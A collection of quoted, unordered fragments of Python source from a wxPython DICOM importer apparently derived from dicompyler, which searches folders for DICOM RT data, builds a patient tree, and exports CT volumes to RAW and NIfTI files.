"self.only_export_voldata = XRCCTRL(self, 'check_volume').IsChecked() self.min_slice_num = int(XRCCTRL(self, 'spin_minslices').GetValue()) self.offset = int(XRCCTRL(self, 'spin_offset').GetValue()) self.export_mori_format",
"dlg.Destroy() #self.OnDirectorySearch() def OnDirectorySearch(self): \"\"\"Begin directory search.\"\"\" self.patients = {} self.tcPatients.DeleteChildren(self.root) self.terminate =",
"progressStr = 'Found 0 patients.' elif (len(patients) == 1): progressStr = 'Found 1",
"self.only_export_voldata = conf['only_export_voldata'] XRCCTRL(self, 'check_mori').SetValue(self.only_export_voldata) self.min_slice_num = conf['min_slice_num'] XRCCTRL(self, 'spin_minslices').SetValue(self.min_slice_num) self.offset = conf['offset']",
"in os.walk(path): files += map(lambda f:os.path.join(root, f), filenames) if (self.import_search_subfolders == False): break",
"else: sortednums = sorted(unsortednums, reverse=False) # Add the images to the array based",
"existed! Continue?') if self.contiune_export != wx.ID_OK: return dp = dicomparser.DicomParser(patient_data['images'][0]) reso = [",
"Create each RT Structure Set elif dp.ds.Modality in ['RTSTRUCT']: if not 'structures' in",
"it needs to be shown self.gaugeProgress.Show(False) self.lblProgressPercent.Show(False) self.lblProgressPercentSym.Show(False) # Start the directory search",
"open(header_name, 'w') as f: for field in origin_header_lines: # \\r\\n if 'Thickness' in",
"Series of images if (('ImageOrientationPatient' in dp.ds) and \\ not (dp.GetSOPClassUID() == 'rtdose')):",
"(sort == 'IPP'): unsortednums.append(image.ImagePositionPatient[2]) else: unsortednums.append(image.data_element(sort).value) # Sort in LPI order! Modified by",
"= dp.GetFrameOfReferenceUID() dose['hasdvh'] = dp.HasDVHs() dose['hasgrid'] = \"PixelData\" in dp.ds dose['summationtype'] = dp.ds.DoseSummationType",
"Sort image numbers in descending order for head first patients if ('hf' in",
"controls self.txtDicomImport = XRCCTRL(self, 'txtDicomImport') self.btnDicomImport = XRCCTRL(self, 'btnDicomImport') self.btnPause = XRCCTRL(self, 'btn_pause')",
"iList.Add( wx.Bitmap( util.GetResourcePath('book.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('table_multiple.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('pencil.png'), wx.BITMAP_TYPE_PNG)) iList.Add(",
"'IPP'): if (slice == image.ImagePositionPatient[2]): sortedimages.append(image) elif (slice == image.data_element(sort).value): sortedimages.append(image) # Save",
"- \" + b['description'] name += \")\" if \"dose\" in b: name +=",
"badstructure = self.tcPatients.AppendItem( series['treeid'], \"RT Structure Set not found\", 7) foundseries = True",
"conv_kernel, hospital, kvp, model_name = dp.ds.ConvolutionKernel, dp.ds.InstitutionName, dp.ds.KVP, dp.ds.ManufacturerModelName img_ori, pat_ori, pat_pos =",
"nib logger.info('Exporting image to %s', nii_fname) nib.save(nib.Nifti1Image(image_array, affine=affine), nii_fname) wx.CallAfter(progressFunc, 98, 100, 'Export",
"dk = float(dp.ds.SliceThickness) m = np.array( [[float(orientation[0])*di, float(orientation[3])*dj, 0, 0], [float(orientation[1])*di, float(orientation[4])*dj, 0,",
"stinfo # Create each Series of images if (('ImageOrientationPatient' in dp.ds) and \\",
"text box if no rxdose was found # and if it is an",
"dose in patient['doses'].items(): foundplan = False if 'plans' in patient: for planid, plan",
"This file is part of dicompyler, released under a BSD license. # See",
"not found' baddose = self.tcPatients.AppendItem(badplan, name, 9) self.tcPatients.SetItemTextColour(baddose, wx.RED) #self.btnSelect.SetFocus() self.tcPatients.ExpandAll() self.lblProgress.SetLabel( str(self.lblProgress.GetLabel()).replace('",
"float(orientation[4])*dj, 0, 0], [float(orientation[2])*di, float(orientation[5])*dj, dk, 0], [0, 0, 0, 1]], dtype=np.float) return",
"('hf' in image.PatientPosition.lower()) and (sort == 'IPP'): sortednums = sorted(unsortednums, reverse=True) # Otherwise",
"# Set the threading termination status to false intially self.terminate = False #",
"location.\", \"Invalid DICOM Import Location\", wx.OK|wx.ICON_ERROR) dlg.ShowModal() def OnUpdateProgress(self, num, length, message): \"\"\"Update",
"' image)' if (series['numimages'] == 1) else str(series['numimages']) + ' images)' #name =",
"to the tree control.\"\"\" # Now add the specific item to the tree",
"self.SetIcon(guiutil.get_icon()) # Initialize controls self.txtDicomImport = XRCCTRL(self, 'txtDicomImport') self.btnDicomImport = XRCCTRL(self, 'btnDicomImport') self.btnPause",
"for patients...') patients = {} # Check if the path is valid if",
"= info['filearray'], info['info']['series_number'] basename = os.path.join(self.output_dir, self.output_name+'-'+str(series_no)+'.512') all_export_threads.append(threading.Thread(target=self.ExportPatientData, args=(self.path, filearray, self.txtRxDose.GetValue(), self.SetThreadStatus, self.OnUpdateProgress,",
"= data['rxdose'] else: parentdata = self.tcPatients.GetItemData(parent) if not (parentdata == None): if 'rxdose'",
"', ' #numimages = str(series['numimages']) + ' image)' if (series['numimages'] == 1) else",
"if not guiutil.IsMac(): self.SetIcon(guiutil.get_icon()) # Initialize controls self.txtDicomImport = XRCCTRL(self, 'txtDicomImport') self.btnDicomImport =",
"CL.Wang self.Bind(wx.EVT_CHECKBOX, self.OnCheckVolFlag, id=XRCID('check_volume')) self.Bind(wx.EVT_SPINCTRL, self.OnSpinSliceNum, id=XRCID('spin_minslices')) self.Bind(wx.EVT_SPINCTRL, self.OnSpinOffset, id=XRCID('spin_offset')) self.Bind(wx.EVT_CHECKBOX, self.OnCheckMoriFormat, id=XRCID('check_mori'))",
"None if dose['hasgrid']: if dose['hasdvh']: name = 'RT Dose with DVH' else: name",
"in field: f.write('{} {}\\r'.format(field,img_ori.tolist())) elif 'StudyDate' in field: f.write('{} {}\\r'.format(field,study_date)) elif 'SeriesDate' in",
"if not self.output_name: self.AlertDialog('Please enter valid output file name!') return if not os.path.isdir(self.output_dir):",
"def OnDirectorySearch(self): \"\"\"Begin directory search.\"\"\" self.patients = {} self.tcPatients.DeleteChildren(self.root) self.terminate = False self.gaugeProgress.Show(True)",
"patient['rxdose'] = RxDose if (('ImageOrientationPatient' in dp.ds) and \\ not (dp.GetSOPClassUID() == 'rtdose')):",
"'referenceframe' in item: if (item['referenceframe'] == image['referenceframe']): if not 'numimages' in item: appendImage",
"but don't create one for RT Dose # since some vendors use incorrect",
"= dp.ds.SOPClassUID.name if not seinfo['id'] in patients[h]['series']: patients[h]['series'][seinfo['id']] = seinfo if not 'images'",
"= False break # Also test ImagePositionPatient, as some series # use the",
"= False # Hide the progress bar until it needs to be shown",
"if 'studies' in patient: for studyid, study in patient['studies'].items(): if (studyid == series['study']):",
"Storage')[0] name = 'Series {}: {}. ({}, {} {})'.format(series['series_number'], series['description'], modality, series['numimages'], 'image'",
"dlgDicomImporter.Destroy() os.sys.exit(0) return 1 class DicomImporterDialog(wx.Dialog): \"\"\"Import DICOM RT files and return a",
"= self.tcPatients.AppendItem( badstructure, \"RT Plan not found\", 8) dose['treeid'] = self.tcPatients.AppendItem(badplan, name, 5)",
"else: f.write('{} \\r'.format(field)) wx.CallAfter(progressFunc, 97, 100, 'Export RAW image completed') if self.export_nii_format: import",
"RT Plans if 'plans' in patient: for planid, plan in patient['plans'].items(): foundstructure =",
"')' if len(plan['name']) else \"\" rxdose = plan['rxdose'] if plan['rxdose'] > 0 else",
"hashlib.sha1(patient['id'].encode('utf-8')).hexdigest() # Add the patient to the tree if they don't already exist",
"SetThreadStatus(self): \"\"\"Tell the directory search thread whether to terminate or not.\"\"\" return self.terminate",
"pixel_array * slope + intercept + self.offset image_array[:,:,i] = rescaled_image wx.CallAfter(progressFunc, (i+image_array.shape[-1])//2, image_array.shape[-1]+1,",
"# (ImagePositionPatient, InstanceNumber or AcquisitionNumber) if 'images' in patient: sortedimages = [] unsortednums",
"self.OnPickOutdir, id=XRCID('picker_output')) self.Bind(wx.EVT_TEXT, self.OnInputName, id=XRCID('text_output_name')) self.Bind(wx.EVT_BUTTON, self.OnConvert, id=XRCID('btn_convert')) self.Bind(wx.EVT_BUTTON, self.OnPause, id=XRCID('btn_pause')) self.Bind(wx.EVT_BUTTON, self.OnRescan,",
"structure set if 'series' in item: if (item['series'] == image['series']): appendImage = True",
"structure['id'] = dp.GetSOPInstanceUID() structure['filename'] = files[n] structure['series'] = dp.GetReferencedSeries() structure['referenceframe'] = dp.GetFrameOfReferenceUID() patients[h]['structures'][structure['id']]",
"patient['structures'].items(): foundstructure = False if 'rtss' in dose: if (structureid == dose['rtss']): foundstructure",
"self.lblProgressPercentSym.Show(True) else: self.gaugeProgress.Show(False) self.lblProgressPercent.Show(False) self.lblProgressPercentSym.Show(False) # End the dialog since we are done",
"except (AttributeError, EOFError, IOError, KeyError): pass logger.info(\"%s is not a valid DICOM file.\",",
"start the directory search.\"\"\" # Call the progress function to update the gui",
"msg): dialog = wx.MessageDialog(self, msg, 'Warning', style=wx.OK_DEFAULT|wx.CANCEL) self.contiune_export = dialog.ShowModal() dialog.Destroy() def __GetNiftiAffineMatrix__(self,",
"= np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]) pos = [] for i, img in enumerate(patient_data['images']): dp",
"field: f.write('{} {}\\r'.format(field,'LPF')) elif '' == field: pass else: f.write('{} \\r'.format(field)) wx.CallAfter(progressFunc, 97,",
"self.output_dir = evt.GetPath() def OnInputName(self, evt): self.output_name = evt.GetString() def AlertDialog(self, msg): dialog",
"structure['treeid'] = self.tcPatients.AppendItem(study['treeid'], name, 4) filearray = [structure['filename']] self.EnableItemSelection(patient, structure, filearray) # Search",
"position for every slice ipp0 = np.array(item.ImagePositionPatient) ipp1 = np.array(images[i-1].ImagePositionPatient) if not (np.any(np.array(np.round(ipp0",
"else: patient = dp.GetDemographics() h = hashlib.sha1(patient['id'].encode('utf-8')).hexdigest() if not h in patients: patients[h]",
"and (sort == 'IPP'): sortednums = sorted(unsortednums, reverse=True) # Otherwise sort image numbers",
"== 100): self.gaugeProgress.Show(True) self.lblProgressPercent.Show(True) self.lblProgressPercentSym.Show(True) else: self.gaugeProgress.Show(False) self.lblProgressPercent.Show(False) self.lblProgressPercentSym.Show(False) # End the dialog",
"with open('.dcmconverter.conf', 'r') as f: conf = json.load(f) self.path = conf['path'] self.txtDicomImport.SetValue(self.path) self.only_export_voldata",
"'Importing patient complete.'): self.EndModal(wx.ID_OK) elif (message == 'Importing patient cancelled.'): self.EndModal(wx.ID_CANCEL) def InitTree(self):",
"the threading termination status to false intially self.terminate = False # Hide the",
"first_patient = self.tcPatients.GetFirstChild(self.tcPatients.RootItem)[0] first_study = self.tcPatients.GetFirstChild(first_patient)[0] child, cookie = self.tcPatients.GetFirstChild(first_study) while child.IsOk(): if",
"wx.ID_OK: self.path = dlg.GetPath() self.txtDicomImport.SetValue(self.path) dlg.Destroy() #self.OnDirectorySearch() def OnDirectorySearch(self): \"\"\"Begin directory search.\"\"\" self.patients",
"self.offset = conf['offset'] XRCCTRL(self, 'spin_offset').SetValue(self.offset) self.export_mori_format = conf['export_mori_format'] XRCCTRL(self, 'check_mori').SetValue(self.export_mori_format) self.export_nii_format = conf['export_nii_format']",
"f.write('{} {}\\r'.format(field,conv_kernel)) elif 'ModelName' in field: f.write('{} {}\\r'.format(field,model_name)) elif 'PatientPosition' in field: f.write('{}",
"'Hospital' in field: f.write('{} {}\\r'.format(field,hospital)) elif 'KVP' in field: f.write('{} {}\\r'.format(field,kvp)) elif 'KernelFunction'",
"self.gaugeProgress = XRCCTRL(self, 'gaugeProgress') self.lblProgressPercent = XRCCTRL(self, 'lblProgressPercent') self.lblProgressPercentSym = XRCCTRL(self, 'lblProgressPercentSym') self.tcPatients",
"def Check_Export_Files(self): def select(child, flag): if flag: self.tcPatients.SetItemImage(child, 10) self.selected_exports.append(child) else: self.tcPatients.SetItemImage(child, 3)",
"images = patient['images'] sort = 'IPP' # Determine if all images in the",
"iList.Add( wx.Bitmap( util.GetResourcePath('chart_curve_error.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('table_selected.png'), wx.BITMAP_TYPE_PNG)) self.tcPatients.AssignImageList(iList) root = self.tcPatients.AddRoot('Patients', image=0)",
"self.tcPatients.AppendItem(badplan, name, 6) self.tcPatients.SetItemTextColour(badplan, wx.RED) filearray = [dose['filename']] self.EnableItemSelection(patient, dose, filearray) if not",
"on a sort descriptor: # (ImagePositionPatient, InstanceNumber or AcquisitionNumber) if 'images' in patient:",
"but ref'd rtplan, check rtplan->rtss if 'rtplan' in item: if 'plans' in patient:",
"parallel: sort = 'IPP' else: # Otherwise sort by Instance Number if not",
"data.\"\"\" self.import_search_subfolders = evt.IsChecked() self.terminate = True self.OnDirectorySearch() def OnBrowseDicomImport(self, evt): \"\"\"Get the",
"if (seriesid == structure['series']): structure['treeid'] = self.tcPatients.AppendItem(series['treeid'], name, 4) foundseries = True #",
"numbers in ascending order else: sortednums = sorted(unsortednums, reverse=False) # Add the images",
"importer dialog.\"\"\" return self.patient def OnCancel(self, evt): \"\"\"Stop the directory search and close",
"OnCancel(self, evt): \"\"\"Stop the directory search and close the dialog.\"\"\" self.terminate = True",
"self.EnableItemSelection(patient, structure, filearray) # Search for RT Plans if 'plans' in patient: for",
"as nib logger.info('Exporting image to %s', nii_fname) nib.save(nib.Nifti1Image(image_array, affine=affine), nii_fname) wx.CallAfter(progressFunc, 98, 100,",
"[]) # Search for RT Structure Sets if 'structures' in patient: for structureid,",
"Structure Set not found\", 7) plan['treeid'] = self.tcPatients.AppendItem(badstructure, name, 5) self.tcPatients.SetItemTextColour(badstructure, wx.RED) filearray",
"+ ' patients. Reading DICOM data...' wx.CallAfter(progressFunc, 0, 1, progressStr) wx.CallAfter(resultFunc, patients) #",
"= RxDose if (('ImageOrientationPatient' in dp.ds) and \\ not (dp.GetSOPClassUID() == 'rtdose')): if",
"= self.path, message=\"Choose a directory containing DICOM RT files...\") if dlg.ShowModal() == wx.ID_OK:",
"patient: for seriesid, series in patient['series'].items(): if 'studies' in patient: for studyid, study",
"in patient['plans'].items(): name = 'RT Dose not found' baddose = self.tcPatients.AppendItem(plan['treeid'], name, 9)",
"patient: for structureid, structure in patient['structures'].items(): foundstructure = False if (structureid == plan['rtss']):",
"selected in the tree control.\"\"\" # Add the respective images to the filearray",
"the DICOM importer dialog.\"\"\" return self.patient def OnCancel(self, evt): \"\"\"Stop the directory search",
"# If no plans were found, add the dose to the structure/study instead",
"after the panel has been initialized.\"\"\" # Set window icon if not guiutil.IsMac():",
"generated.') def OnCheckMoriFormat(self, evt): self.export_mori_format = evt.IsChecked() def OnCheckNiftiFormat(self, evt): self.export_nii_format = evt.IsChecked()",
"def SetThreadStatus(self): \"\"\"Tell the directory search thread whether to terminate or not.\"\"\" return",
"self.t=threading.Thread(target=self.DirectorySearchThread, args=(self, self.path, self.import_search_subfolders, self.SetThreadStatus, self.OnUpdateProgress, self.AddPatientTree, self.AddPatientDataTree)) self.t.start() def SetThreadStatus(self): \"\"\"Tell the",
"in patients[h]['series']: patients[h]['series'][seinfo['id']] = seinfo if not 'images' in patients[h]: patients[h]['images'] = {}",
"before destroying the dialog if dlgDicomImporter: if hasattr(dlgDicomImporter, 't'): dlgDicomImporter.t.join() dlgDicomImporter.Destroy() os.sys.exit(0) return",
"-*- # dicomgui.py \"\"\"Main app file that convert DICOM data via a wxPython",
"soon as the panel loads #self.OnDirectorySearch() def OnRescan(self, evt): self.OnDirectorySearch() def OnPause(self, evt):",
"self.tcPatients.SetItemTextColour(badplan, wx.RED) filearray = [dose['filename']] self.EnableItemSelection(patient, dose, filearray) if not foundstructure: # If",
"baddose = self.tcPatients.AppendItem(badplan, name, 9) self.tcPatients.SetItemTextColour(baddose, wx.RED) #self.btnSelect.SetFocus() self.tcPatients.ExpandAll() self.lblProgress.SetLabel( str(self.lblProgress.GetLabel()).replace(' Reading DICOM",
"hide, reset the rx dose if not value: self.txtRxDose.SetValue(1) def ExportPatientData(self, path, filearray,",
"distribution, also # available at https://github.com/bastula/dicompyler/ # # It's assumed that the reference",
"dlg = wx.MessageDialog( parent, \"The DICOM import location does not exist. Please select",
"self.terminate = False # Hide the progress bar until it needs to be",
"# wait all threads #self.AlertDialog('All exports finished!') def OnCheckSearchSubfolders(self, evt): \"\"\"Determine whether to",
"in patient: for planid, plan in patient['plans'].items(): if 'rtplan' in item: if (planid",
"if (self.tcPatients.GetItemText(item).startswith('RT Plan') or self.tcPatients.GetItemText(parent).startswith('RT Plan')): self.EnableRxDose(True) def EnableRxDose(self, value): \"\"\"Show or hide",
"Dose with DVH' else: name = 'RT Dose without DVH' else: if dose['hasdvh']:",
"tree generated.') def OnSpinSliceNum(self, evt): self.min_slice_num = evt.GetPosition() try: self.Check_Export_Files() except: logger.info('Adjusted parameters",
"Dose without DVH' else: if dose['hasdvh']: name = 'RT Dose without Dose Grid",
"if (planid == item['rtplan']): if 'rtss' in plan: if (structureid == plan['rtss']): filearray.append(structure['filename'])",
"OnCheckMoriFormat(self, evt): self.export_mori_format = evt.IsChecked() def OnCheckNiftiFormat(self, evt): self.export_nii_format = evt.IsChecked() def OnPickOutdir(self,",
"elif 'PatientPosition' in field: f.write('{} {}\\r'.format(field,pat_pos)) elif 'PatientOrientation' in field: f.write('{} {}\\r'.format(field,pat_ori)) elif",
"def AddPatientTree(self, patient): \"\"\"Add a new patient to the tree control.\"\"\" # Create",
"== image['series']): appendImage = True # used for RT structure set if 'series'",
"series have been selected!') return if not self.output_dir: self.AlertDialog('Please enter valid output dir!')",
"and select button by default self.EnableRxDose(False) #self.btnSelect.Enable(False) # If the item has data,",
"path is not valid, display an error message else: wx.CallAfter(progressFunc, 0, 0, 'Select",
"# Set window icon if not guiutil.IsMac(): self.SetIcon(guiutil.get_icon()) # Initialize controls self.txtDicomImport =",
"self.Bind(wx.EVT_BUTTON, self.OnConvert, id=XRCID('btn_convert')) self.Bind(wx.EVT_BUTTON, self.OnPause, id=XRCID('btn_pause')) self.Bind(wx.EVT_BUTTON, self.OnRescan, id=XRCID('btn_rescan')) # Init variables if",
"self.terminate = True def OnSpinOffset(self, evt): self.offset = evt.GetPosition() def OnCheckVolFlag(self, evt): self.only_export_voldata",
"series in patient['series'].items(): foundseries = False if (seriesid == structure['series']): structure['treeid'] = self.tcPatients.AppendItem(series['treeid'],",
"we are done with the import process if (message == 'Importing patient complete.'):",
"Search subfolders by default self.import_search_subfolders = True # Set the threading termination status",
"dp.ds) and \\ not (dp.GetSOPClassUID() == 'rtdose')): if not 'images' in patient: patient['images']",
"n//2, len(filearray), msgs[0]) # Sort the images based on a sort descriptor: #",
"to false intially self.terminate = False # Hide the progress bar until it",
"series # use the same patient position for every slice ipp0 = np.array(item.ImagePositionPatient)",
"= os.path.join(os.path.dirname(out_basepath), 'NiftiFormat') if not os.path.isdir(out_dir): os.makedirs(out_dir) nii_fname = os.path.join(out_dir, os.path.basename(out_basepath)+'.nii.gz') if os.path.isfile(nii_fname):",
"appendImage: filearray.append(image['filename']) # Add the respective rtss files to the filearray if they",
"and return a dictionary of data.\"\"\" def __init__(self): wx.Dialog.__init__(self) def Init(self, res): \"\"\"Method",
"the directory search as soon as the panel loads #self.OnDirectorySearch() def OnRescan(self, evt):",
"self.EnableRxDose(False) #self.btnSelect.Enable(False) # If the item has data, check to see whether there",
"progress bar until it needs to be shown self.gaugeProgress.Show(False) self.lblProgressPercent.Show(False) self.lblProgressPercentSym.Show(False) # Start",
"True dlg = wx.DirDialog( self, defaultPath = self.path, message=\"Choose a directory containing DICOM",
"Dose not found' baddose = self.tcPatients.AppendItem(plan['treeid'], name, 9) self.tcPatients.SetItemTextColour(baddose, wx.RED) # No RT",
"self.offset = int(XRCCTRL(self, 'spin_offset').GetValue()) self.export_mori_format = XRCCTRL(self, 'check_mori').IsChecked() self.export_nii_format = XRCCTRL(self, 'check_nifti').IsChecked() self.output_dir",
"== field: pass else: f.write('{} \\r'.format(field)) wx.CallAfter(progressFunc, 97, 100, 'Export RAW image completed')",
"name = 'RT Plan not found' badplan = self.tcPatients.AppendItem(structure['treeid'], name, 8) self.tcPatients.SetItemTextColour(badplan, wx.RED)",
"item['rtplan']): filearray.append(plan['filename']) if not rxdose: self.tcPatients.SetItemData(item['treeid'], {'filearray':filearray, 'info':item}) else: self.tcPatients.SetItemData(item['treeid'], {'filearray':filearray, 'info':item, 'rxdose':rxdose})",
"name, 1) self.tcPatients.SortChildren(self.root) self.tcPatients.ExpandAll() def AddPatientDataTree(self, patients): \"\"\"Add the patient data to the",
"root, dirs, filenames in os.walk(path): files += map(lambda f:os.path.join(root, f), filenames) if (self.import_search_subfolders",
"{}\\r'.format(field,acq_date)) elif 'Orientation' in field: f.write('{} {}\\r'.format(field,'LPF')) elif '' == field: pass else:",
"enumerate(sortednums): for i, image in enumerate(images): if (sort == 'IPP'): if (slice ==",
"# Call the progress function to update the gui wx.CallAfter(progressFunc, n, len(files), 'Searching",
"len(files), 'Searching for patients...') if (len(patients) == 0): progressStr = 'Found 0 patients.'",
"self.Bind(wx.EVT_CHECKBOX, self.OnCheckMoriFormat, id=XRCID('check_mori')) self.Bind(wx.EVT_CHECKBOX, self.OnCheckNiftiFormat, id=XRCID('check_nifti')) self.Bind(wx.EVT_DIRPICKER_CHANGED, self.OnPickOutdir, id=XRCID('picker_output')) self.Bind(wx.EVT_TEXT, self.OnInputName, id=XRCID('text_output_name')) self.Bind(wx.EVT_BUTTON,",
"= {} # Check if the path is valid if os.path.isdir(path): files =",
"= False if (seriesid == structure['series']): structure['treeid'] = self.tcPatients.AppendItem(series['treeid'], name, 4) foundseries =",
"name = 'RT Dose without Dose Grid or DVH' if (dose['summationtype'] == \"BEAM\"):",
"if \"dose\" in b: name += \" - Dose: \" + str(int(b['dose'])) +",
"name += \" (Beam \" + str(dose['beam']) + \": \" if dose['beam'] in",
"it foundseries = False for seriesid, series in patient['series'].items(): foundseries = False if",
"Sets if 'structures' in patient: for structureid, structure in patient['structures'].items(): if 'series' in",
"data.\"\"\" def __init__(self): wx.Dialog.__init__(self) def Init(self, res): \"\"\"Method called after the panel has",
"progressStr = 'Found 1 patient. Reading DICOM data...' elif (len(patients) > 1): progressStr",
"enter valid output file name!') return if not os.path.isdir(self.output_dir): logger.info(\"Output dir not exists!",
"dir not exists! Create new dir [%s]\", self.output_dir) os.makedirs(self.output_dir) all_export_threads = [] for",
"break # Also test ImagePositionPatient, as some series # use the same patient",
"dlgDicomImporter.output_dir conf['output_name'] = dlgDicomImporter.output_name json.dump(conf, f, indent=2, sort_keys=True) # Block until the thread",
"false intially self.terminate = False # Hide the progress bar until it needs",
"Set not found\", 7) foundseries = True # If no series were found,",
"= dialog.ShowModal() dialog.Destroy() def __GetNiftiAffineMatrix__(self, dp): di = float(dp.ds.PixelSpacing[0]) dj = float(dp.ds.PixelSpacing[1]) orientation",
"Otherwise sort image numbers in ascending order else: sortednums = sorted(unsortednums, reverse=False) #",
"= evt.GetItem() # Disable the rx dose message and select button by default",
"whether to search subfolders for DICOM data.\"\"\" self.import_search_subfolders = evt.IsChecked() self.terminate = True",
"self.Bind(wx.EVT_CHECKBOX, self.OnCheckNiftiFormat, id=XRCID('check_nifti')) self.Bind(wx.EVT_DIRPICKER_CHANGED, self.OnPickOutdir, id=XRCID('picker_output')) self.Bind(wx.EVT_TEXT, self.OnInputName, id=XRCID('text_output_name')) self.Bind(wx.EVT_BUTTON, self.OnConvert, id=XRCID('btn_convert')) self.Bind(wx.EVT_BUTTON,",
"existed! Continue?') if self.contiune_export != wx.ID_OK: return if self.export_nii_format: out_dir = os.path.join(os.path.dirname(out_basepath), 'NiftiFormat')",
"structure['label'] for seriesid, series in patient['series'].items(): foundseries = False if (seriesid == structure['series']):",
"if 'rtplan' in item: if (planid == item['rtplan']): filearray.append(plan['filename']) if not rxdose: self.tcPatients.SetItemData(item['treeid'],",
"else: # Otherwise sort by Instance Number if not (images[0].InstanceNumber == \\ images[1].InstanceNumber):",
"if not foundstructure: # If there is an image series, add a fake",
"os.path.join(self.output_dir, self.output_name+'-'+str(series_no)+'.512') all_export_threads.append(threading.Thread(target=self.ExportPatientData, args=(self.path, filearray, self.txtRxDose.GetValue(), self.SetThreadStatus, self.OnUpdateProgress, functools.partial(self.ExportFunc, out_basepath=basename)))) [th.start() for th",
"exportFunc: exportFunc(patient_data=patient, progressFunc=progressFunc) wx.CallAfter(progressFunc, 99, 100, '') def GetPatient(self): \"\"\"Return the patient data",
"conf['export_nii_format'] XRCCTRL(self, 'check_nifti').SetValue(self.export_nii_format) self.output_dir = conf['output_dir'] XRCCTRL(self, 'picker_output').SetPath(self.output_dir) self.output_name = conf['output_name'] XRCCTRL(self, 'text_output_name').SetValue(self.output_name)",
"\"BEAM\"): name += \" (Beam \" + str(dose['beam']) + \": \" if dose['beam']",
"dose['treeid'] = self.tcPatients.AppendItem(badplan, name, 5) self.tcPatients.SetItemTextColour(badplan, wx.RED) filearray = [dose['filename']] self.EnableItemSelection(patient, dose, filearray)",
"RT plan / dose if 'referenceframe' in item: if (item['referenceframe'] == image['referenceframe']): if",
"wx.SystemSettings.GetFont(wx.SYS_DEFAULT_GUI_FONT) if guiutil.IsMac(): self.txtDicomImport.SetFont(font) self.btnDicomImport.SetFont(font) self.checkSearchSubfolders.SetFont(font) self.lblProgressLabel.SetFont(font) self.lblProgress.SetFont(font) self.lblProgressPercent.SetFont(font) self.lblProgressPercentSym.SetFont(font) self.tcPatients.SetFont(font) self.txtRxDose.SetFont(font) self.lblRxDoseUnits.SetFont(font)",
"{} patient['rxdose'] = RxDose if (('ImageOrientationPatient' in dp.ds) and \\ not (dp.GetSOPClassUID() ==",
"(c) 2018-2020 <NAME> # Copyright (c) 2009-2017 <NAME> # Copyright (c) 2009 <NAME>",
"self.lblProgressPercent = XRCCTRL(self, 'lblProgressPercent') self.lblProgressPercentSym = XRCCTRL(self, 'lblProgressPercentSym') self.tcPatients = XRCCTRL(self, 'tcPatients') self.bmpRxDose",
"plan['label'] + planname + \\ ' - Dose: ' + str(rxdose) + '",
"with the import process if (message == 'Importing patient complete.'): self.EndModal(wx.ID_OK) elif (message",
"self.tcPatients.AppendItem(plan['treeid'], name, 6) filearray = [dose['filename']] self.EnableItemSelection(patient, dose, filearray, rxdose) # If no",
"= self.tcPatients.GetFirstChild(first_patient)[0] child, cookie = self.tcPatients.GetFirstChild(first_study) while child.IsOk(): if self.only_export_voldata: title = self.tcPatients.GetItemText(child)",
"loads #self.OnDirectorySearch() def OnRescan(self, evt): self.OnDirectorySearch() def OnPause(self, evt): self.terminate = True def",
"were found, add the rtss to the study if not foundseries: structure['treeid'] =",
"RT files...\") if dlg.ShowModal() == wx.ID_OK: self.path = dlg.GetPath() self.txtDicomImport.SetValue(self.path) dlg.Destroy() #self.OnDirectorySearch() def",
"patients[h]: patients[h]['plans'] = {} plan = dp.GetPlan() plan['id'] = dp.GetSOPInstanceUID() plan['filename'] = files[n]",
"2) # Search for series and images if 'series' in patient: for seriesid,",
"= dp.ds elif (dp.ds.Modality in ['RTDOSE']): patient['rtdose'] = dp.ds wx.CallAfter(progressFunc, n//2, len(filearray), msgs[0])",
"dp.GetSOPInstanceUID() structure['filename'] = files[n] structure['series'] = dp.GetReferencedSeries() structure['referenceframe'] = dp.GetFrameOfReferenceUID() patients[h]['structures'][structure['id']] = structure",
"files and return a dictionary of data.\"\"\" def __init__(self): wx.Dialog.__init__(self) def Init(self, res):",
"in item: if (item['id'] == image['series']): appendImage = True # used for RT",
"dp = dicomparser.DicomParser(img) intercept, slope = dp.GetRescaleInterceptSlope() pos.append(dp.ds.ImagePositionPatient[2]) pixel_array = dp.ds.pixel_array rescaled_image =",
"files = [] for root, dirs, filenames in os.walk(path): files += map(lambda f:os.path.join(root,",
"' images)' #name = name + numimages series['treeid'] = self.tcPatients.AppendItem(study['treeid'], name, 3) self.EnableItemSelection(patient,",
"'LabFormat') if not os.path.isdir(out_dir): os.makedirs(out_dir) mori_fname = os.path.join(out_dir, os.path.basename(out_basepath)) if os.path.isfile(mori_fname+'.raw.gz'): self.ChoiceDialog('File existed!",
"0 seinfo['modality'] = dp.ds.SOPClassUID.name if not seinfo['id'] in patients[h]['series']: patients[h]['series'][seinfo['id']] = seinfo if",
"conf['output_name'] = dlgDicomImporter.output_name json.dump(conf, f, indent=2, sort_keys=True) # Block until the thread is",
"RT Plan elif dp.ds.Modality in ['RTPLAN']: if not 'plans' in patients[h]: patients[h]['plans'] =",
"= 'RT Dose without Dose Grid (DVH only)' else: name = 'RT Dose",
"pos = [] for i, img in enumerate(patient_data['images']): dp = dicomparser.DicomParser(img) intercept, slope",
"tree generated.') def OnCheckMoriFormat(self, evt): self.export_mori_format = evt.IsChecked() def OnCheckNiftiFormat(self, evt): self.export_nii_format =",
"= [] patient['images'].append(dp.ds) elif (dp.ds.Modality in ['RTSTRUCT']): patient['rtss'] = dp.ds elif (dp.ds.Modality in",
"self.OnDirectorySearch() def OnPause(self, evt): self.terminate = True def OnSpinOffset(self, evt): self.offset = evt.GetPosition()",
"Grid or DVH' if (dose['summationtype'] == \"BEAM\"): name += \" (Beam \" +",
"'RT Plan not found' badplan = self.tcPatients.AppendItem(structure['treeid'], name, 8) self.tcPatients.SetItemTextColour(badplan, wx.RED) name =",
"study in patient['studies'].items(): name = 'Study: ' + study['description'] study['treeid'] = self.tcPatients.AppendItem(patient['treeid'], name,",
"np.array( [[float(orientation[0])*di, float(orientation[3])*dj, 0, 0], [float(orientation[1])*di, float(orientation[4])*dj, 0, 0], [float(orientation[2])*di, float(orientation[5])*dj, dk, 0],",
"wx.CallAfter(progressFunc, 0, 0, 'Searching for patients...') patients = {} # Check if the",
"self.terminate = False self.gaugeProgress.Show(True) self.lblProgressPercent.Show(True) self.lblProgressPercentSym.Show(True) #self.btnSelect.Enable(False) # Disable Rx dose controls except",
